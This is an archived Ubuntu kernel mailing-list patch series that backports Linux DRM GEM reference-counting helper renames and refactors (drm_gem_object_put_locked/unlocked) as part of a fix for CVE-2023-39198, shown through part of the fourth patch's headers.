From patchwork Fri Mar 8 20:11:44 2024 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Bethany Jamison X-Patchwork-Id: 1909848 Return-Path: X-Original-To: incoming@patchwork.ozlabs.org Delivered-To: patchwork-incoming@legolas.ozlabs.org Authentication-Results: legolas.ozlabs.org; spf=pass (sender SPF authorized) smtp.mailfrom=lists.ubuntu.com (client-ip=185.125.189.65; helo=lists.ubuntu.com; envelope-from=kernel-team-bounces@lists.ubuntu.com; receiver=patchwork.ozlabs.org) Received: from lists.ubuntu.com (lists.ubuntu.com [185.125.189.65]) (using TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by legolas.ozlabs.org (Postfix) with ESMTPS id 4Try5j3Ft0z1yWx for ; Sat, 9 Mar 2024 07:12:57 +1100 (AEDT) Received: from localhost ([127.0.0.1] helo=lists.ubuntu.com) by lists.ubuntu.com with esmtp (Exim 4.86_2) (envelope-from ) id 1riga8-0007NG-9A; Fri, 08 Mar 2024 20:12:41 +0000 Received: from smtp-relay-internal-1.internal ([10.131.114.114] helo=smtp-relay-internal-1.canonical.com) by lists.ubuntu.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.86_2) (envelope-from ) id 1rigZO-0007DL-5h for kernel-team@lists.ubuntu.com; Fri, 08 Mar 2024 20:11:54 +0000 Received: from mail-qv1-f70.google.com (mail-qv1-f70.google.com [209.85.219.70]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by smtp-relay-internal-1.canonical.com (Postfix) with ESMTPS id C685E48A96 for ; Fri, 8 Mar 2024 20:11:53 +0000 (UTC) Received: by mail-qv1-f70.google.com with SMTP id 6a1803df08f44-68f7572bc3dso33006626d6.0 for ; Fri, 08 Mar 2024 12:11:53 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1709928712; x=1710533512; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=r4xUdf4ghx1UcH+p9VOBz1uRrJpGkq3/f7IJfqQbHiA=; b=f3uV3Uydte6D7L7zpH4AF78Ld3ymKEKC9E1cK2hn7h7dnFRh/sVbP451oqItNvNj5U AahLZ55WmS151JHBatnPLq6EKWood1TRlrUrWsk9XaDLoDP53gokjtuDpJMIF5KvodyM 5Urn9NFHUvZf7l/uMKbg5D02ewlQ0wkBJ9Gl2V6WQBNbgMA4lrazd0q5KWbiISnS2ZFc M+PyLFqkBOM5ruqfjjAdgGW8hJQwPgUkmyXWalKXgCxTFIses4rNKKie+FyQj4DsoAZV gQpL27o500jg12cfUyHTg1NXTfl09Eu9DN1naRScSPO/3YKCykOZIPhlrii5KOuIwz1B 3GQA== X-Gm-Message-State: AOJu0YyXwYGaJ0c1RR0d8Ka1Ik3w0092+mrmVXU/Q+IAChJnZXMtkO72 Mk3mP87QJoQBWt0eunYUlMKku0OQAENUJMsNZfnXbDfjeiIiYnW/waL/p8JRQy1QmQXuDuUBmG5 44X/Hzj5cmvQfBTyyoLeb6L3XkTB2TZB1XYwAGjrxHDbLAo3bpQkyZT+5yPr7+oYm3vPj9HTjJK XULVd5gzuOcQ== X-Received: by 2002:a0c:ea83:0:b0:690:bf4c:e674 with SMTP id d3-20020a0cea83000000b00690bf4ce674mr32027qvp.43.1709928712576; Fri, 08 Mar 2024 12:11:52 -0800 (PST) X-Google-Smtp-Source: AGHT+IFJJv3vUFYmStkvAEdcOKprw5SMJ+b3WRX2BuEhnRo30PCSpA4WLDLy0n5AVdlay3m7d66QsA== X-Received: by 2002:a0c:ea83:0:b0:690:bf4c:e674 with SMTP id d3-20020a0cea83000000b00690bf4ce674mr32016qvp.43.1709928712293; Fri, 08 Mar 2024 12:11:52 -0800 (PST) Received: from smtp.gmail.com (104-218-69-129.dynamic.lnk.ne.allofiber.net. [104.218.69.129]) by smtp.gmail.com with ESMTPSA id el18-20020ad459d2000000b0069044802760sm64238qvb.120.2024.03.08.12.11.51 for (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 08 Mar 2024 12:11:52 -0800 (PST) From: Bethany Jamison To: kernel-team@lists.ubuntu.com Subject: [SRU][F][PATCH v2 1/7] drm/gem: use _unlocked reference in drm_gem_objects_lookup docs Date: Fri, 8 Mar 2024 14:11:44 -0600 Message-Id: <20240308201150.25987-2-bethany.jamison@canonical.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20240308201150.25987-1-bethany.jamison@canonical.com> References: <20240308201150.25987-1-bethany.jamison@canonical.com> MIME-Version: 1.0 X-BeenThere: kernel-team@lists.ubuntu.com X-Mailman-Version: 2.1.20 Precedence: list List-Id: Kernel team discussions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: kernel-team-bounces@lists.ubuntu.com Sender: "kernel-team" From: Emil Velikov Use the drm_gem_object_put_unlocked in the documentation for drm_gem_objects_lookup. The locked version of the helper should be used solely by people who know exactly what they are doing. Should prevent issues like ones adddressed with the next patch. Signed-off-by: Emil Velikov Acked-by: Sam Ravnborg Acked-by: Thomas Zimmermann Link: https://patchwork.freedesktop.org/patch/msgid/20200515095118.2743122-3-emil.l.velikov@gmail.com (cherry picked from commit 2ea8ad42ec8d04c014d04648170ee9c3ad119585) CVE-2023-39198 Signed-off-by: Bethany Jamison --- drivers/gpu/drm/drm_gem.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/gpu/drm/drm_gem.c b/drivers/gpu/drm/drm_gem.c index d6a72f3cb1fb..d801598299b6 100644 --- a/drivers/gpu/drm/drm_gem.c +++ b/drivers/gpu/drm/drm_gem.c @@ -676,7 +676,7 @@ static int objects_lookup(struct drm_file *filp, u32 *handle, int count, * Returns: * * @objs filled in with GEM object pointers. Returned GEM objects need to be - * released with drm_gem_object_put(). -ENOENT is returned on a lookup + * released with drm_gem_object_put_unlocked(). -ENOENT is returned on a lookup * failure. 0 is returned on success. * */ From patchwork Fri Mar 8 20:11:45 2024 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Bethany Jamison X-Patchwork-Id: 1909849 Return-Path: X-Original-To: incoming@patchwork.ozlabs.org Delivered-To: patchwork-incoming@legolas.ozlabs.org Authentication-Results: legolas.ozlabs.org; spf=pass (sender SPF authorized) smtp.mailfrom=lists.ubuntu.com (client-ip=185.125.189.65; helo=lists.ubuntu.com; envelope-from=kernel-team-bounces@lists.ubuntu.com; receiver=patchwork.ozlabs.org) Received: from lists.ubuntu.com (lists.ubuntu.com [185.125.189.65]) (using TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by legolas.ozlabs.org (Postfix) with ESMTPS id 4Try5y6JcRz1yWx for ; Sat, 9 Mar 2024 07:13:10 +1100 (AEDT) Received: from localhost ([127.0.0.1] helo=lists.ubuntu.com) by lists.ubuntu.com with esmtp (Exim 4.86_2) (envelope-from ) id 1rigaI-0007S0-To; Fri, 08 Mar 2024 20:12:51 +0000 Received: from smtp-relay-internal-1.internal ([10.131.114.114] helo=smtp-relay-internal-1.canonical.com) by lists.ubuntu.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.86_2) (envelope-from ) id 1rigZP-0007DX-BK for kernel-team@lists.ubuntu.com; Fri, 08 Mar 2024 20:11:56 +0000 Received: from mail-qv1-f71.google.com (mail-qv1-f71.google.com [209.85.219.71]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by smtp-relay-internal-1.canonical.com (Postfix) with ESMTPS id E87E348A9C for ; Fri, 8 Mar 2024 20:11:54 +0000 (UTC) Received: by mail-qv1-f71.google.com with SMTP id 6a1803df08f44-68f75058f07so13704716d6.0 for ; Fri, 08 Mar 2024 12:11:54 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1709928713; x=1710533513; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=GjKkWzXw/ji6glfRX9n9TUgjJpLnpSOzYPltSbWnTRA=; b=OfpYT3/X8xKC2smua50UrFov10YcD9wa/9O9iSMFkcaIzLyc/1K9/aQAg9WboP3CX1 DJwbS87L09oDtiUG7k+DQ+ZPI8ankEEdbM9PbhZWMbvH4Imb6UOAuCsqk61xxz3VeM+e gfkP9dor40Po4m2ABAhmKeo3G33HK/3tUTT/L0GiH6KM3B/R79tZvECw83tWdB8/3ZhZ 0ysw3BeA9ITRrlaKhzH6VRVPnbsJ3QvrnfxN7tFrbc1oCuoB3LalUFrjiHO/LkB6ChPQ 6j2stLpoqpoAOIdoT/aNawNF2ef7FBPP40LDUQVw1VWAabVkPIvH5k34STFoJCs1S3wL I1ag== X-Gm-Message-State: AOJu0Yx95AICnUdfT9hBuRskLuhAE9oZ4YsNsp94O3/1aAmR063ZEMC6 EyOQZl/+kYY5EMUdEbw/nEkxTBwYuIncpAQl+3dYi3x03hWRhbjFefFnxVJitfVgxquzlYJfgE3 NPPEK4Ajhv2uBw7KH85WXhv+PZmgmEy6rcN5Kcap1EEiOOFnfNAOm2UHI+R8aAhKIebVtUvSFCT AR56isOjEVSg== X-Received: by 2002:a05:6214:70b:b0:690:b875:8856 with SMTP id c11-20020a056214070b00b00690b8758856mr156930qvz.42.1709928713204; Fri, 08 Mar 2024 12:11:53 -0800 (PST) X-Google-Smtp-Source: AGHT+IHZ5440nnMmgOGaVkB7qcso5Rn/5CwSsQMWq7/imHchKJFe/zwW1Uv0rLP0zuxUL84o/yHmEw== X-Received: by 2002:a05:6214:70b:b0:690:b875:8856 with SMTP id c11-20020a056214070b00b00690b8758856mr156912qvz.42.1709928712887; Fri, 08 Mar 2024 12:11:52 -0800 (PST) Received: from smtp.gmail.com (104-218-69-129.dynamic.lnk.ne.allofiber.net. [104.218.69.129]) by smtp.gmail.com with ESMTPSA id el18-20020ad459d2000000b0069044802760sm64238qvb.120.2024.03.08.12.11.52 for (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 08 Mar 2024 12:11:52 -0800 (PST) From: Bethany Jamison To: kernel-team@lists.ubuntu.com Subject: [SRU][F][PATCH v2 2/7] drm/gem: fold drm_gem_object_put_unlocked and __drm_gem_object_put() Date: Fri, 8 Mar 2024 14:11:45 -0600 Message-Id: <20240308201150.25987-3-bethany.jamison@canonical.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20240308201150.25987-1-bethany.jamison@canonical.com> References: <20240308201150.25987-1-bethany.jamison@canonical.com> MIME-Version: 1.0 X-BeenThere: kernel-team@lists.ubuntu.com X-Mailman-Version: 2.1.20 Precedence: list List-Id: Kernel team discussions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: kernel-team-bounces@lists.ubuntu.com Sender: "kernel-team" From: Emil Velikov With earlier patch we removed the overhead so now we can lift the helper into the header effectively folding it with __drm_object_put. v2: drop struct_mutex references (Daniel) Signed-off-by: Emil Velikov Acked-by: Sam Ravnborg (v1) Reviewed-by: Daniel Vetter Acked-by: Thomas Zimmermann Link: https://patchwork.freedesktop.org/patch/msgid/20200515095118.2743122-11-emil.l.velikov@gmail.com (backported from commit b5d250744cccfb40024de663ea1f4da04e6d959c) [bjamison: context conflict in a function b5d deletes, Bionic/upstream were functionally the same with Bionic having an additional validation check, accepted incoming change to delete the function] CVE-2023-39198 Signed-off-by: Bethany Jamison --- drivers/gpu/drm/drm_gem.c | 30 ---------------------- drivers/gpu/drm/i915/gem/i915_gem_object.h | 2 +- include/drm/drm_drv.h | 2 -- include/drm/drm_gem.h | 16 +++--------- 4 files changed, 4 insertions(+), 46 deletions(-) diff --git a/drivers/gpu/drm/drm_gem.c b/drivers/gpu/drm/drm_gem.c index d801598299b6..663dc2130b91 100644 --- a/drivers/gpu/drm/drm_gem.c +++ b/drivers/gpu/drm/drm_gem.c @@ -972,36 +972,6 @@ drm_gem_object_free(struct kref *kref) } EXPORT_SYMBOL(drm_gem_object_free); -/** - * drm_gem_object_put_unlocked - drop a GEM buffer object reference - * @obj: GEM buffer object - * - * This releases a reference to @obj. Callers must not hold the - * &drm_device.struct_mutex lock when calling this function. - * - * See also __drm_gem_object_put(). - */ -void -drm_gem_object_put_unlocked(struct drm_gem_object *obj) -{ - struct drm_device *dev; - - if (!obj) - return; - - dev = obj->dev; - - if (dev->driver->gem_free_object) { - might_lock(&dev->struct_mutex); - if (kref_put_mutex(&obj->refcount, drm_gem_object_free, - &dev->struct_mutex)) - mutex_unlock(&dev->struct_mutex); - } else { - kref_put(&obj->refcount, drm_gem_object_free); - } -} -EXPORT_SYMBOL(drm_gem_object_put_unlocked); - /** * drm_gem_object_put - release a GEM buffer object reference * @obj: GEM buffer object diff --git a/drivers/gpu/drm/i915/gem/i915_gem_object.h b/drivers/gpu/drm/i915/gem/i915_gem_object.h index 53172a4185da..49cdd66d4e73 100644 --- a/drivers/gpu/drm/i915/gem/i915_gem_object.h +++ b/drivers/gpu/drm/i915/gem/i915_gem_object.h @@ -96,7 +96,7 @@ __attribute__((nonnull)) static inline void i915_gem_object_put(struct drm_i915_gem_object *obj) { - __drm_gem_object_put(&obj->base); + drm_gem_object_put_unlocked(&obj->base); } #define assert_object_held(obj) dma_resv_assert_held((obj)->base.resv) diff --git a/include/drm/drm_drv.h b/include/drm/drm_drv.h index 8976afe48c1c..4c86a42cbfca 100644 --- a/include/drm/drm_drv.h +++ b/include/drm/drm_drv.h @@ -505,8 +505,6 @@ struct drm_driver { * * This is deprecated and should not be used by new drivers. Use * &drm_gem_object_funcs.free instead. - * Compared to @gem_free_object this is not encumbered with - * &drm_device.struct_mutex legacy locking schemes. */ void (*gem_free_object_unlocked) (struct drm_gem_object *obj); diff --git a/include/drm/drm_gem.h b/include/drm/drm_gem.h index 6aaba14f5972..8a40315750e3 100644 --- a/include/drm/drm_gem.h +++ b/include/drm/drm_gem.h @@ -350,27 +350,17 @@ static inline void drm_gem_object_get(struct drm_gem_object *obj) } /** - * __drm_gem_object_put - raw function to release a GEM buffer object reference + * drm_gem_object_put_unlocked - drop a GEM buffer object reference * @obj: GEM buffer object * - * This function is meant to be used by drivers which are not encumbered with - * &drm_device.struct_mutex legacy locking and which are using the - * gem_free_object_unlocked callback. It avoids all the locking checks and - * locking overhead of drm_gem_object_put() and drm_gem_object_put_unlocked(). - * - * Drivers should never call this directly in their code. Instead they should - * wrap it up into a ``driver_gem_object_put(struct driver_gem_object *obj)`` - * wrapper function, and use that. Shared code should never call this, to - * avoid breaking drivers by accident which still depend upon - * &drm_device.struct_mutex locking. + * This releases a reference to @obj. */ static inline void -__drm_gem_object_put(struct drm_gem_object *obj) +drm_gem_object_put_unlocked(struct drm_gem_object *obj) { kref_put(&obj->refcount, drm_gem_object_free); } -void drm_gem_object_put_unlocked(struct drm_gem_object *obj); void drm_gem_object_put(struct drm_gem_object *obj); int drm_gem_handle_create(struct drm_file *file_priv, From patchwork Fri Mar 8 20:11:46 2024 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Bethany Jamison X-Patchwork-Id: 1909846 Return-Path: X-Original-To: incoming@patchwork.ozlabs.org Delivered-To: patchwork-incoming@legolas.ozlabs.org Authentication-Results: legolas.ozlabs.org; spf=pass (sender SPF authorized) smtp.mailfrom=lists.ubuntu.com (client-ip=185.125.189.65; helo=lists.ubuntu.com; envelope-from=kernel-team-bounces@lists.ubuntu.com; receiver=patchwork.ozlabs.org) Received: from lists.ubuntu.com (lists.ubuntu.com [185.125.189.65]) (using TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by legolas.ozlabs.org (Postfix) with ESMTPS id 4Try5G6mqlz1yWx for ; Sat, 9 Mar 2024 07:12:34 +1100 (AEDT) Received: from localhost ([127.0.0.1] helo=lists.ubuntu.com) by lists.ubuntu.com with esmtp (Exim 4.86_2) (envelope-from ) id 1rigZj-0007Gf-Sv; Fri, 08 Mar 2024 20:12:16 +0000 Received: from smtp-relay-internal-1.internal ([10.131.114.114] helo=smtp-relay-internal-1.canonical.com) by lists.ubuntu.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.86_2) (envelope-from ) id 1rigZP-0007DY-P7 for kernel-team@lists.ubuntu.com; Fri, 08 Mar 2024 20:11:56 +0000 Received: from mail-qv1-f71.google.com (mail-qv1-f71.google.com [209.85.219.71]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by smtp-relay-internal-1.canonical.com (Postfix) with ESMTPS id 1E12748A96 for ; Fri, 8 Mar 2024 20:11:55 +0000 (UTC) Received: by mail-qv1-f71.google.com with SMTP id 6a1803df08f44-6909652aa4cso20148186d6.3 for ; Fri, 08 Mar 2024 12:11:55 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1709928714; x=1710533514; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=M3FsNhdc8L3NaeFZ+iJ9jN5hPLEFED1kN+X2VKdnSJg=; b=PmVN0RETDH9150Aiz58gLFWHoCcD1AnrLk7/q+iVLrZi2KXFpBPrZ7nZXeBVvTNk/c w7o4vwoiU/vLD2RDR53ZGtTRBFkTZX/TkrlRlKiDbv0p1XTdOMWynz72eYA+bYewX0zW 9Ap4YV5ArfYcJ6DMkDUFboDCMcoCEbzYPKjMclDratiF07Z7G9rDOv3eutPjQxfPQ97U pEowGLBlM0KaqdX6pZUMlsDG0a/PyNYhAQvzIB6OVvRE3rZdSIoZ0q0XKoAUZNDzV/rI aXifhxDnbJEvimlhl4gdzRIHMBBZpIAUajKwXMx07P3CxdEn6NjJBLwh2lkYkfcSS27j U7iA== X-Gm-Message-State: AOJu0YxkAjuHobi2F7qwE6pnaUemWYk+LyobKWnr/6LlBdwgKEAWWfpx z0GP1+7tmAeJ9P503AJ4JaSLGE/uLqO2eH/JFIwSlJWUK04fSk1JxuRaozuYnuB1+zW0i2b9Fln vzJyZuf6ZC0uktSjGo4/PjMXjrtVpyWmExcud/oWCkWBP4FJ46pmOTVa84OYs/Ec4ommISpRU4J WtKMonTa9jOQ== X-Received: by 2002:a05:6214:14f0:b0:68f:e46a:ccb0 with SMTP id k16-20020a05621414f000b0068fe46accb0mr159759qvw.41.1709928713892; Fri, 08 Mar 2024 12:11:53 -0800 (PST) X-Google-Smtp-Source: AGHT+IEcqhwn0WaorQ8jRs5vxIAE0lWzSxWwSotyl1YbEPAiJ6tBv4CWph4ZOg2bGvwX2z7TvMkPrg== X-Received: by 2002:a05:6214:14f0:b0:68f:e46a:ccb0 with SMTP id k16-20020a05621414f000b0068fe46accb0mr159741qvw.41.1709928713559; Fri, 08 Mar 2024 12:11:53 -0800 (PST) Received: from smtp.gmail.com (104-218-69-129.dynamic.lnk.ne.allofiber.net. [104.218.69.129]) by smtp.gmail.com with ESMTPSA id el18-20020ad459d2000000b0069044802760sm64238qvb.120.2024.03.08.12.11.53 for (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 08 Mar 2024 12:11:53 -0800 (PST) From: Bethany Jamison To: kernel-team@lists.ubuntu.com Subject: [SRU][F][PATCH v2 3/7] drm/gem: add _locked suffix to drm_gem_object_put Date: Fri, 8 Mar 2024 14:11:46 -0600 Message-Id: <20240308201150.25987-4-bethany.jamison@canonical.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20240308201150.25987-1-bethany.jamison@canonical.com> References: <20240308201150.25987-1-bethany.jamison@canonical.com> MIME-Version: 1.0 X-BeenThere: kernel-team@lists.ubuntu.com X-Mailman-Version: 2.1.20 Precedence: list List-Id: Kernel team discussions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: kernel-team-bounces@lists.ubuntu.com Sender: "kernel-team" From: Emil Velikov Vast majority of DRM (core and drivers) are struct_mutex free. As such we have only a handful of cases where the locked helper should be used. Make that stand out a little bit better. Done via the following script: __from=drm_gem_object_put __to=drm_gem_object_put_locked for __file in $(git grep --name-only --word-regexp $__from); do sed -i "s/\<$__from\>/$__to/g" $__file; done Cc: Rob Clark Cc: Sean Paul Cc: linux-arm-msm@vger.kernel.org Signed-off-by: Emil Velikov Acked-by: Sam Ravnborg Reviewed-by: Steven Price Acked-by: Thomas Zimmermann Link: https://patchwork.freedesktop.org/patch/msgid/20200515095118.2743122-12-emil.l.velikov@gmail.com (cherry picked from commit eecd7fd8bf58d5d59f948d2655e41760d7cf17d9) CVE-2023-39198 Signed-off-by: Bethany Jamison --- drivers/gpu/drm/drm_gem.c | 6 +++--- drivers/gpu/drm/msm/adreno/a5xx_debugfs.c | 4 ++-- drivers/gpu/drm/msm/msm_drv.c | 2 +- drivers/gpu/drm/msm/msm_gem.c | 6 +++--- drivers/gpu/drm/msm/msm_gem_submit.c | 2 +- drivers/gpu/drm/msm/msm_gpu.c | 2 +- include/drm/drm_gem.h | 4 ++-- 7 files changed, 13 insertions(+), 13 deletions(-) diff --git a/drivers/gpu/drm/drm_gem.c b/drivers/gpu/drm/drm_gem.c index 663dc2130b91..067cbdb8c7ce 100644 --- a/drivers/gpu/drm/drm_gem.c +++ b/drivers/gpu/drm/drm_gem.c @@ -973,7 +973,7 @@ drm_gem_object_free(struct kref *kref) EXPORT_SYMBOL(drm_gem_object_free); /** - * drm_gem_object_put - release a GEM buffer object reference + * drm_gem_object_put_locked - release a GEM buffer object reference * @obj: GEM buffer object * * This releases a reference to @obj. Callers must hold the @@ -984,7 +984,7 @@ EXPORT_SYMBOL(drm_gem_object_free); * drm_gem_object_put_unlocked() instead. */ void -drm_gem_object_put(struct drm_gem_object *obj) +drm_gem_object_put_locked(struct drm_gem_object *obj) { if (obj) { WARN_ON(!mutex_is_locked(&obj->dev->struct_mutex)); @@ -992,7 +992,7 @@ drm_gem_object_put(struct drm_gem_object *obj) kref_put(&obj->refcount, drm_gem_object_free); } } -EXPORT_SYMBOL(drm_gem_object_put); +EXPORT_SYMBOL(drm_gem_object_put_locked); /** * drm_gem_vm_open - vma->ops->open implementation for GEM diff --git a/drivers/gpu/drm/msm/adreno/a5xx_debugfs.c b/drivers/gpu/drm/msm/adreno/a5xx_debugfs.c index 075ecce4b5e0..43166fd80cb2 100644 --- a/drivers/gpu/drm/msm/adreno/a5xx_debugfs.c +++ b/drivers/gpu/drm/msm/adreno/a5xx_debugfs.c @@ -124,13 +124,13 @@ reset_set(void *data, u64 val) if (a5xx_gpu->pm4_bo) { msm_gem_unpin_iova(a5xx_gpu->pm4_bo, gpu->aspace); - drm_gem_object_put(a5xx_gpu->pm4_bo); + drm_gem_object_put_locked(a5xx_gpu->pm4_bo); a5xx_gpu->pm4_bo = NULL; } if (a5xx_gpu->pfp_bo) { msm_gem_unpin_iova(a5xx_gpu->pfp_bo, gpu->aspace); - drm_gem_object_put(a5xx_gpu->pfp_bo); + drm_gem_object_put_locked(a5xx_gpu->pfp_bo); a5xx_gpu->pfp_bo = NULL; } diff --git a/drivers/gpu/drm/msm/msm_drv.c b/drivers/gpu/drm/msm/msm_drv.c index 407b51cf6790..f0a46843fea9 100644 --- a/drivers/gpu/drm/msm/msm_drv.c +++ b/drivers/gpu/drm/msm/msm_drv.c @@ -929,7 +929,7 @@ static int msm_ioctl_gem_madvise(struct drm_device *dev, void *data, ret = 0; } - drm_gem_object_put(obj); + drm_gem_object_put_locked(obj); unlock: mutex_unlock(&dev->struct_mutex); diff --git a/drivers/gpu/drm/msm/msm_gem.c b/drivers/gpu/drm/msm/msm_gem.c index 8e6a4d5f3a40..0cf15d6c1eb0 100644 --- a/drivers/gpu/drm/msm/msm_gem.c +++ b/drivers/gpu/drm/msm/msm_gem.c @@ -879,7 +879,7 @@ void msm_gem_describe_objects(struct list_head *list, struct seq_file *m) } #endif -/* don't call directly! Use drm_gem_object_put() and friends */ +/* don't call directly! Use drm_gem_object_put_locked() and friends */ void msm_gem_free_object(struct drm_gem_object *obj) { struct msm_gem_object *msm_obj = to_msm_bo(obj); @@ -1189,7 +1189,7 @@ static void *_msm_gem_kernel_new(struct drm_device *dev, uint32_t size, return vaddr; err: if (locked) - drm_gem_object_put(obj); + drm_gem_object_put_locked(obj); else drm_gem_object_put_unlocked(obj); @@ -1221,7 +1221,7 @@ void msm_gem_kernel_put(struct drm_gem_object *bo, msm_gem_unpin_iova(bo, aspace); if (locked) - drm_gem_object_put(bo); + drm_gem_object_put_locked(bo); else drm_gem_object_put_unlocked(bo); } diff --git a/drivers/gpu/drm/msm/msm_gem_submit.c b/drivers/gpu/drm/msm/msm_gem_submit.c index be5327af16fa..3fe64390353e 100644 --- a/drivers/gpu/drm/msm/msm_gem_submit.c +++ b/drivers/gpu/drm/msm/msm_gem_submit.c @@ -388,7 +388,7 @@ static void submit_cleanup(struct msm_gem_submit *submit) struct msm_gem_object *msm_obj = submit->bos[i].obj; submit_unlock_unpin_bo(submit, i, false); list_del_init(&msm_obj->submit_entry); - drm_gem_object_put(&msm_obj->base); + drm_gem_object_put_locked(&msm_obj->base); } ww_acquire_fini(&submit->ticket); diff --git a/drivers/gpu/drm/msm/msm_gpu.c b/drivers/gpu/drm/msm/msm_gpu.c index edd45f434ccd..adbd7557b89d 100644 --- a/drivers/gpu/drm/msm/msm_gpu.c +++ b/drivers/gpu/drm/msm/msm_gpu.c @@ -676,7 +676,7 @@ static void retire_submit(struct msm_gpu *gpu, struct msm_ringbuffer *ring, /* move to inactive: */ msm_gem_move_to_inactive(&msm_obj->base); msm_gem_unpin_iova(&msm_obj->base, submit->aspace); - drm_gem_object_put(&msm_obj->base); + drm_gem_object_put_locked(&msm_obj->base); } pm_runtime_mark_last_busy(&gpu->pdev->dev); diff --git a/include/drm/drm_gem.h b/include/drm/drm_gem.h index 8a40315750e3..585addb0cd1c 100644 --- a/include/drm/drm_gem.h +++ b/include/drm/drm_gem.h @@ -174,7 +174,7 @@ struct drm_gem_object { * * Reference count of this object * - * Please use drm_gem_object_get() to acquire and drm_gem_object_put() + * Please use drm_gem_object_get() to acquire and drm_gem_object_put_locked() * or drm_gem_object_put_unlocked() to release a reference to a GEM * buffer object. */ @@ -361,7 +361,7 @@ drm_gem_object_put_unlocked(struct drm_gem_object *obj) kref_put(&obj->refcount, drm_gem_object_free); } -void drm_gem_object_put(struct drm_gem_object *obj); +void drm_gem_object_put_locked(struct drm_gem_object *obj); int drm_gem_handle_create(struct drm_file *file_priv, struct drm_gem_object *obj, From patchwork Fri Mar 8 20:11:47 2024 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Bethany Jamison X-Patchwork-Id: 1909850 Return-Path: X-Original-To: incoming@patchwork.ozlabs.org Delivered-To: patchwork-incoming@legolas.ozlabs.org Authentication-Results: legolas.ozlabs.org; spf=pass (sender SPF authorized) smtp.mailfrom=lists.ubuntu.com (client-ip=185.125.189.65; helo=lists.ubuntu.com; envelope-from=kernel-team-bounces@lists.ubuntu.com; receiver=patchwork.ozlabs.org) Received: from lists.ubuntu.com (lists.ubuntu.com [185.125.189.65]) (using TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by legolas.ozlabs.org (Postfix) with ESMTPS id 4Try644XBhz1yWx for ; Sat, 9 Mar 2024 07:13:16 +1100 (AEDT) Received: from localhost ([127.0.0.1] helo=lists.ubuntu.com) by lists.ubuntu.com with esmtp (Exim 4.86_2) (envelope-from ) id 1rigaT-0007WB-45; Fri, 08 Mar 2024 20:13:01 +0000 Received: from smtp-relay-internal-1.internal ([10.131.114.114] helo=smtp-relay-internal-1.canonical.com) by lists.ubuntu.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.86_2) (envelope-from ) id 1rigZQ-0007Da-D0 for kernel-team@lists.ubuntu.com; Fri, 08 Mar 2024 20:11:56 +0000 Received: from mail-qv1-f72.google.com (mail-qv1-f72.google.com [209.85.219.72]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256) (No client certificate requested) by smtp-relay-internal-1.canonical.com (Postfix) with ESMTPS id 10A6348A9D for ; Fri, 8 Mar 2024 20:11:56 +0000 (UTC) Received: by mail-qv1-f72.google.com with SMTP id 6a1803df08f44-6906e9a4d64so35059016d6.0 for ; Fri, 08 Mar 2024 12:11:56 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1709928714; x=1710533514; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=07pK8krJgGqAZ4WcK5B8MXWi1cxj50wmQG6svjYHWMI=; 